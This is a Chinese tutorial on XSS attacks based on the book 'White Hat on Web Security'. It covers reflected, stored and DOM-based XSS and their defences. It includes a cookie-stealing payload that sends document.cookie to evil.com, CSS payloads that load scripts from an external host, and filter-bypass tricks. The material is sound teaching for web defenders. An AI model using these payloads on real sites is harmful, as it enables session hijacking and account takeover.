初识XSS攻击
初识XSS攻击
本文参考于《白帽子讲Web安全》第3章跨站脚本攻击(XSS),该书出版于2014年,因而现在可能存在一些新场景或新技术而未被提及,但本文对学习和了解XSS攻击仍具有重要价值。
1. 什么是XSS攻击?
XSS攻击即跨站脚本攻击,英文全称Cross Site Script,缩写为CSS,为了和层叠样式表(Cascading Style Sheet, CSS)区别,故叫做XSS。
XSS攻击是指黑客向网页中插入恶意脚本,从而使用户在浏览网页时,控制用户浏览器的攻击行为。
XSS根据效果的不同可分为三类:反射型XSS、存储型XSS、DOM型XSS。
1.1 反射型XSS
反射型XSS只是简单的将用户的输入“反射”给浏览器,即黑客往往需要诱导用户点击一个恶意链接,才能攻击成功。反射型XSS也叫“非持久型XSS”。
例如下面的例子,将用户输入的参数直接输出到页面上
<?php
$input = $_GET["param"];
echo "<div>".$input."</div>";
?>
通过提交一段HTML代码
http://www.a.com/test.php?param=<script>alert(/xss/)</script>
使得源码变为
<div><script>alert(/xss/)</script></div>
用户输入的Script脚本被写入的页面当中。
1.2 存储型XSS
存储型XSS会将用户的输入数据(恶意代码)存储在服务端,只要有用户访问,就会受其影响,因此这种XSS具有很强的稳定性,也叫做“持久性XSS“。
例如黑客发表一篇带有恶意javascript代码的博客文章后,任何访问该文章的用户,都会在其浏览器中执行该恶意代码,从而受其影响。
1.3 DOM型XSS
DOM型XSS是通过修改页面DOM节点形成的XSS,称为DOM Based XSS。
从效果上说,DOM型XSS也是反射型XSS,但DOM型XSS只涉及浏览器JavaScript和HTML层,不涉及服务器端,即不会经过服务器端的处理。
例如使用innerHTML
将用户数据直接当作HTML写入到页面中,原代码如下
var str = document.getElementById("input").text;
document.getElementById("t").innerHTML="<a href='" + str + "' >testLink</a?";
用户可以构造' onclick=alert(/xss/) //
从而变成<a href='' onclick=alert(/xss/)//' >testLink</a>
,点击该链接,脚本就会被执行。
或通过闭合原标签,插入新标签来利用该漏洞。如通过构造'><img src=# onerror=alert(/xss/) /><'
,从而使页面代码变为<a href=''><img src=# onerror=alert(/xss) /><''>testLink</a>
,从而执行注入的脚本。
2. XSS攻击
XSS Payload
XSS攻击成功后,攻击者可以向页面中植入恶意脚本,从而控制用户的浏览器。这种用来完成各种具体功能的恶意脚本,称为XSS Payload。
2.1 Cookie劫持
Cookie中保存了当前用户的登录凭证,通过Cookie,攻击者可以不通过密码,直接登录进用户的账户中。一种常见的XSS Payload就是通过读取浏览器Cookie对象,从而发起“Cookie劫持"。
举个栗子
攻击者先加载一个远程脚本
http://www.a.com/test.html?abc="><script src=http://www.evil.com/evil.js></script>"
真正的XSS Payload在远程脚本中,此法可避免直接在URL参数中写入大量脚本代码,如下
//evil.js
var img = document.createElement("img");
img.src = "http://www.evil.com/log?" + escape(document.cookie);
document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,并将document.cookie
作为参数发送到远程服务器上,即便http://www.evil.com/log
不存在,这个请求也可以在远程服务器的Web日志中留下记录
127.0.0.1 - - [19/Jul/2010:11:30:42 +0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288
由此,就完成了Cookie的窃取。
在利用该Cookie时,先构造HTTP头,然后将该Cookie加入(或替换到)HTTP头中,就可以利用该Cookie直接登录进用户的账户。
Cookie的HttpOnly
标识可以防止Cookie劫持。
2.2 操纵浏览器
一个网站的应用,只需要接收HTTP的GET和POST请求即可完成所有的操作。而攻击者通过JavaScripit,就可以让浏览器发起这两种请求。
2.2.1 发起GET请求
例如某博客上有一篇文章,正常删除该文章的链接为
http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
若该博客所在域的某页面存在XSS漏洞,对攻击者来说只需知道该文章的id就可以请求删除这篇文章。攻击者可以通过插入一张图片来发起一个GET请求
var img = document.createElement("img")
img.src = ”http://blog.sohu.com/manage/entry.do?m=delete&id=156713012“;
document.body.appendChild(img);
攻击者只需要让博客作者执行这段代码,就会把文章删除。
在具体的攻击中,攻击者通过XSS诱使用户执行XSS Payload。
2.2.2 发起POST请求
如果网站应用只接收POST请求,又该如何实施XSS攻击呢?
例如对于一个表单,攻击者可以通过JavaScript发出一个POST请求,提交此表单,从而进行攻击。
第一种方法,构造一个form表单,然后通过submit()
自动提交。
第二种方法,通过XMLHttpRequest
发送POST请求。
因此通过JavaScript模拟浏览器发包并不是一件困难的事。XSS攻击除了实施Cookie劫持外,还能通过模拟GET、POST请求操作用户浏览器。
2.3 XSS钓鱼
利用JavaScript在当前页面上绘制一个伪造的登录框,当用户在登录框输入用户名密码后,将其密码送到黑客服务器上。
2.4 信息搜集
2.4.1 浏览器版本
如何识别浏览器的版本呢?
第一种方法,通过XSS读取浏览器的UserAgent
对象,即
alert(navigator.userAgent);
可以得到
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
但浏览器的UserAgent
是可以伪造的,因此通过这种方法获得的信息不一定准确。
第二种方法,不同浏览器会各自实现一些独特的功能,而浏览器不同版本间也有细微的差别,通过分辨这些浏览器之间的差异,就能准确的判断出浏览器的版本,而且几乎不会误报。
2.4.2 已安装软件
知道用户使用的浏览器、操作系统后,可以进一步识别用户安装的软件。
例如早先在IE中,可以通过判断ActiveX控件的classid是否存在,来判断用户是否安装了该软件。通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件版本。
一些第三方软件也可能会泄露一些信息。
浏览器的扩展和插件也能被XSS Payload扫描出来。早期Firefox的插件列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件;对于Firefox的扩展,有安全研究者曾通过检测拓展的图标是否能加载出来来判断某个特定的拓展是否存在。
2.4.3 用户IP
通过XSS Payload还有办法获取一些客户端的IP地址。
JavaScript本身没有提供获取本地IP地址的能力,但可以借助第三方软件来完成。比如早期若客户端安装了Java环境,那么XSS就可以通过调用Java Applet的接口获取客户端本地IP地址及网络信息。
2.5 XSS Worm
XSS Worm是XSS的一种终极利用方式,它的破坏力和影响力是巨大的,但发起XSS Worm攻击也有一定的条件。
一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS Worm攻击。
案例:Samy Worm、2007年百度空间蠕虫
3. XSS构造技巧
3.1 利用字符编码
由于不同的场景所使用的编码不同,这时就可能出现可以利用编码的漏洞。
如某度在一个<script>
标签中输出了一个变量,其中转义了双引号,并将变量包含在""
之内,因此输入";alert(/xss/);
会变成"\";alert(/xss/);"
,一般来说这里是没有XSS漏洞的。
但百度返回页面是GBK/GB2312编码的,因此%c1\
这两个字符组合在一起后会变成一个Unicode
字符,在Firefox下会认为这是一个字符,从而变成%c1";alert(/xss/);//
,发生XSS攻击。
这两个字节%c1\
组成了一个新的Unicode
字符,因此%c1
将转义字符\
吃掉了,从而绕开了系统的安全检查,成功实施了XSS攻击。
3.2 绕过长度限制
很多情况下,由于服务端的逻辑,产生XSS的地方会有变量的长度限制。
例如对下面代码
<input type=text value="$var"/>
服务器端限制$var
长度为20,若攻击者构造XSS
”><script> alert(/xss/)</script>
则这段XSS会被切割为
"><script>alert(/xss\
连一个完整的函数都写不完。
3.2.1 利用事件
攻击者可以利用事件(Event)来缩短所需的字节数
“onclick=alert(1)//
从而得到
<input type=test value="" onclick=alert(1)//"/>
但利用该方法能缩短的字节是有限的,最好的办法是把XSS Payload写到别处,然后通过简短的代码加载这段XSS Payload。
3.2.2 location.hash
根据HTTP协议,location.hash
的内容不会在HTTP包中发生,因此Web日志中并不会记录下location.hash
的内容,从而可以很好的隐藏攻击者的真实意图,因此可以将代码藏在locaion.hash
中。
location.hash
本身没有长度限制,但浏览器的地址栏有长度限制,但这个长度已经够写很长的XSS Payload了。
例如输入
” onclick="eval(location.hash.substr(1))
输出的HTML为
<input type="text" value="" onclick="eval(location.hash.substr(1))"/>
而XSS Payload代码则放在URL中(#
的后面)。
3.2.3 利用注释符
若能控制两个输入文本框,第二个文本框允许输入更多的字节,此时可以利用HTML的注释符号<!--...-->
把两个文本框间的HTML代码全部注释掉,从而打通两个标签。
3.3 base标签
<base>
标签的作用是定义页面上所有使用相对路径标签的hosting地址。
<base>
标签可以出现在页面的任何地方,若攻击者在页面中插入了base标签,就可以通过在远程服务器上伪造图片、链接或脚本,从而劫持当前页面中所有使用相对路径的标签。
3.4 window.name
因为window
对象是浏览器的窗体,而非document
对象,因此很多时候window
对象不受同源策略的限制。因此攻击者可以利用这个对象,实现跨域、跨页面传递数据。
对当前的window.name
对象赋值,也没有特殊字符的限制。
4. XSS防御
4.1 HttpOnly
浏览器禁止页面的JavaScript访问带有HttpOnly属性的Cookie。
严格的说,HttpOnly并非为了对抗XSS,HttpOnly解决的是XSS后的Cookie劫持攻击。
一个Cookie的使用过程如下。
1.浏览器向服务器发起请求,此时无Cookie。
2.服务器返回时发送Set-Cookie头,向客户端浏览器写入Cookie。
3.在该Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie。
而HttpOnly是在Set-Cookie时标记的。服务器可以设置多个Cookie值,而HttpOnly可以选择性的加在任何一个Cookie值上。
但HttpOnly不是万能的,XSS攻击带来的不光是Cookie劫持的问题,还有窃取用户信息、模拟用户身份执行操作等诸多严重后果,使用HttpOnly有助于缓解XSS攻击,但仍需其他能够解决XSS漏洞的方案。
4.2 输入检查
常见的Web漏洞如XSS、SQL Injection等,都要求攻击者构造一些特殊的字符,这些特殊的字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
输入检查的逻辑必须放在服务器端代码中实现,若放在客户端验证则很容易被攻击者绕过。目前普遍做法是在客户端和服务器端同时进行输入检查,客户端的输入检查可以阻挡大部分误操作的正常用户,从而节约服务器资源。
在XSS防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,若包含则进行字符过滤或编码。
比较智能的输入检查可能还会匹配XSS的特征,如包含<script>
、javascript
等敏感字符,这种输入检查方式称为XSS Filter。
XSS Filter在用户提交数据时获取变量并进行XSS检查,但此时用户数据并没有结合渲染页面的HTML代码,因此XSS Filter对语境的理解不完整,从而导致漏报或违背用户原本的意思。
4.3 输出检查
一般来说,除了富文本的输出外,变量在输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。
编码分为很多种,针对HTML代码的编码方式是HtmlEncode
,JavaScript编码方式可以使用JavascriptEncode
。
JavascriptEncode与HtmlEncode的编码方式不同,它需要使用\
对特殊字符进行转义,在对抗XSS时,还要求输出的变量必须在引号内部,以免造成安全问题。
但很多开发者没有将输出变量放在引号内的习惯,这就只能使用一个更严格的JavascriptWEncode函数来保证安全——除了数字、字母外的所有字符,都是用十六进制\xHH
的方式进行编码,如此代码可以保证是安全的。
除了上面两种编码函数外,还有许多用于各种情况的编码函数,如XMLEncode
、JSONEncode
等。
在编码时应分清输出变量所处的语境,在正确的地方使用正确的编码。
4.4 各种场景下的XSS
4.4.1 HTML标签中输出
<div>$var</div>
这种场景下攻击方式一般是构造一个<script>
标签,或是任何能够产生脚本执行的方式。如
<div><script>alert(/xss/)</script></div>
<a href=#><img src=# onerror=alert(1)/></a>
防御方法是对变量使用HtmlEncode。
4.4.2 HTML属性中输出
<div id="abc" name="$var"></div>
可能的攻击方法,先闭合标签,再构造<script>
标签。
防御方法采用HtmlEncode。
在OWASP ESAPI
中推荐了一种更严格的HtmlEncode,除字母数字外,其他所有特殊字符都被编码为HTMLEntities
。
4.4.3 在script标签中输出
<script>
var x = "$var";
</script>
攻击方法,先闭合引号再实施XSS攻击。
防御使用JavascriptEncode。
4.4.4 在事件中输出
<a href=# onclick="funcA('$var')">test</a>
可能的攻击方法
<a href=# onclick="funcA('');alert(/xss/);//')">test</a>
防御方法使用JavascriptEncode。
4.4.5 在CSS中输出
<style>@import'http://ha.ckers.org/xss.css';</style>
<style>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</style>
<XSS STYLE="hebavior:url(xss.htc);">
<style>li {list-style-image:url("javascript:alert('xss')");}</style><UL><LI>XSS
<div style="background-image:url(javascript:alert('xss'))">
<div style="width: expression(alert('xss'));">
一般来说,尽可能禁止用户可控制的变量在style标签、HTML标签的style属性及CSS文件中输出。若一定有这样的需求,则推荐使用OWASP ESAPI中的encodeForCSS()
函数。
4.4.6 在地址中输出
URL: [Protocal][Host][Path][Search][Hash]
一般来说,在URL中的Path和Search使用URLEncode即可,它会将字符转化为"%HH"的形式,如空格是%20
。
若整个URL完全被用户控制,这时URL的Protocal和Host部分是不能使用URLEncode的,否则会改变URL的语义。攻击者可能构造伪协议(如javascript
、vbscript
、dataURI
)实施攻击。
<a href="javascript:alert(1);">test</a>
<a herf="data:text/html;base64;PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">test</a>
此时应先检查变量是否以http
开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击。在此之后再对变量进行URLEncode,即可保证不会有此类XSS发送了。
4.5 富文本处理
有时网站需要允许用户提交一些自定义的HTML代码,称之为“富文本”。
如何区分安全的富文本和有攻击性的XSS呢?
在处理富文本时,还是要回到输入检查的思路上来。检查输入的主要问题是不知道变量实际的输出语境,而对于用户提交的富文本,其语义是完整的HTML代码,在输出时也不会拼凑到某个标签的属性当中。
HTML是一种结构化的语言,通过htmlparser可以解析出HTML代码的标签属性和事件。
在过滤富文本时,事件应该被严格禁止,对于一些危险的标签,如<iframe>
、<script>
、<base>
、<form>
等,也应该严格禁止。
在标签选择和属性与事件的选择上应使用白名单,避免使用黑名单,如只允许<a>
、<img>
、<div>
等比较“安全”的标签存在。
如果一定要允许用户自定义样式,则只能像过滤富文本一样过滤CSS,这需要一个CSS Parser对样式进行智能分析,检查其中是否包含危险代码。
有一些成熟的开源项目,实现了对富文本的XSS检查。
4.6 DOM型XSS防御
DOM型XSS是从JavaScript中输出数据到HTML页面里,而前文提到的都是针对“从服务器应用直接输出到HTML页面”的XSS漏洞,因此并不适用于DOM型XSS。
举个栗子
<script>
var x="$var";
document.write("<a href='"+x+"'>test</a>");
</script>
变量$var
输出在script标签内,可后来又被document.write
输出到HTML页面中。假如为了保护$var
直接在script标签内产生XSS,服务器对其进行了javascriptEncode。
<script>
var x="\x20\x27onclick\x3dalert\x281\x29\x3b\2f\x2f\x27";
document.write("<a href='"+x+"'>test</a>");
</script>
但$var
在document.write
时,仍然能够产生XSS。原因在于第一次执行javascriptEncode后,只保护了var x="$var";
,当输出数据到HTML页面时,浏览器重新渲染了页面。因此在script标签执行时已经对变量x进行了解码,之后document.write
再运行时,其参数变成了
<a href=' 'onclick=alert(1);//''>test</a>
由此产生XSS。
是不是因为对$var
用错了编码?如果换成HtmlEncode会怎样?再举一个栗子。
<script>
var x="1");alert(2)b;//"";
document.write("<a href=# onclick='alert(\""+x+"\")'>test</a>");
</script>
服务器把变量HtmlEncode后再输出到script中,然后变量x作为onclick事件的一个函数参数被document.write
到了HTML页面里。
<script>
var x="1");alert(2)b;//"";
document.write("<a href=# onclick='alert(\""+x+"\")'>test</a>");
</script>
<a href="#" onclick="alert("1");alert(2);//"")">test</a>
onclick执行了两次alert,第二次是被XSS注入的。
正确的防御方法是什么呢?
首先,在$var
输出到script时,应执行一次javascriptEncode;其次在document.write输出到HTML页面上时,分情况对待:如果输出到事件或脚本,要再做一次javascriptEncode;如果输出到HTML内容或属性,则要做一次HtmlEncode。
即从JavaScript输出到HTML页面,也相当于一次XSS输出的过程,需要分语境使用不同的编码函数。
触发DOM型XSS的地方有很多,这几个是JavaScript到HTML页面的必经之路:document.write()
、document.writeln()
、xxx.innerHTML=
、XXX.outerHTML
、innerHTML.replace
、document.attachEvent()
、window.attachEvent()
、document.location.replace()
、document.location.assign()
...
除服务器端直接输出变量到JavaScript外,还有几个地方可能称为DOM型XSS的输入方式:input框
、window.locaiont(herf、hash)
、window.name
、document.referrer
、document.cookie
、localstorage
、XMLHttpRequest返回数据
...
5. 其他
5.1 Mission Impossible
某些表面上看起来很鸡肋、无法利用的漏洞,随着时间对推移,最后借助某些工具,也可能被人利用。(一切皆有可能)
5.2 JavaScript开发框架
在Web前端开发中,常使用一些框架,可以快速简洁地完成开发任务。一般成熟的开发框架都会注意自身的安全问题,但代码是人写的,高手也偶尔会犯错。
在开发过程中,除了需要关注框架本身的安全性外,开发者也要提高安全意识,理解并正确的使用开发框架。